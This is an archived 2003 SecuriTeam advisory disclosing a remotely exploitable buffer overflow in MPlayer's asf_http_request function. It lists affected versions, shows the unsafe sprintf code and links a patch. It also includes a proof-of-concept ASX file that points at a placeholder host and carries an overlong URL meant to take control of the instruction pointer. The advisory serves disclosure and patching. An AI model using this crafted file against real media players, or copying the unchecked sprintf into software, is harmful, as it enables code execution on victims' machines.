

[NEWS] MPlayer Buffer Overflow (asf_streaming)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0088.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/29/03

To: list@securiteam.com

Date: 29 Sep 2003 12:21:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MPlayer Buffer Overflow (asf_streaming)

SUMMARY

A remotely exploitable buffer overflow vulnerability was found in <http://www.mplayerhq.hu/> MPlayer. A malicious host can craft a harmful ASX header, and trick MPlayer into executing arbitrary code upon parsing that header.

DETAILS

Vulnerable systems:

- * MPlayer 0.90pre series
- * MPlayer 0.90rc series
- * MPlayer 0.90
- * MPlayer 0.91
- * MPlayer 1.0pre1

Immune systems:

- * MPlayer releases before 0.90pre1
- * MPlayer 0.92
- * MPlayer HEAD CVS

In the source tree there is a file called `asf_streaming.c` this file has a function named `asf_http_request`, that function has two buffer overflows,

Securiteam: [NEWS] MPlayer Buffer Overflow (asf_streaming)

this overflows are in the sprintf lines.

```
asf_http_request {
    char str[250];
    ....
    ..
    ..
    sprintf( str, "Host: %s:%d", server_url->hostname,
server_url->port );
    ....
    ...
    ..
    sprintf( str, "Host: %s:%d", url->hostname, url->port );

    ....
    ...
    ..
}
```

This, at a first look, may look as it can't be exploited (because the MAXHOSTLEN size restriction), however, if in an ASX file like this with a "badsite" listening in "badport" send "\n\n" as answer you could lead to a fully controllable EIP buffer overflow.

Patch availability:

A patch is available for all vulnerable versions

<http://www.mplayerhq.hu/MPlayer/patches/vuln01-fix.diff> here.

Exploit:

```
<asx version = "3.0">
```

```
<title>Bas Site ASX</title>
```

```
<moreinfo href = "mailto:info@badsite.com <mailto:info@badsite.com>" />
```

```
<logo href = "http://www.badsite.com/streaming/grupo.gif
```

```
<http://www.badsite.com/streaming/grupo.gif> " style="ICON" />
```

```
<banner href= "images/bannermitre.gif">
```

```
<abstract>Bad Site live</abstract>
```

```
<moreinfo target="_blank" href = "http://www.badsite.com/
```

```
<http://www.badsite.com/> " /> </banner>
```

```
<entry>
```

```
<title>NEWS</title>
```

```
<AUTHOR>NEWS</AUTHOR>
```

```
<COPYRIGHT>© All by the news</COPYRIGHT>
```

```
<ref href =
```

```
"http_proxy://badsite:badport/http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaa"/>
```

Securiteam: [NEWS] MPlayer Buffer Overflow (asf_streaming)

```
<logo href = "http://www.badsite.com/streaming/grupo.gif  
<http://badsite.com/streaming/grupo.gif> " style="ICON" />  
</entry>  
</asx>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:hernan.otero@eds.com> Otero,
Hernan.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.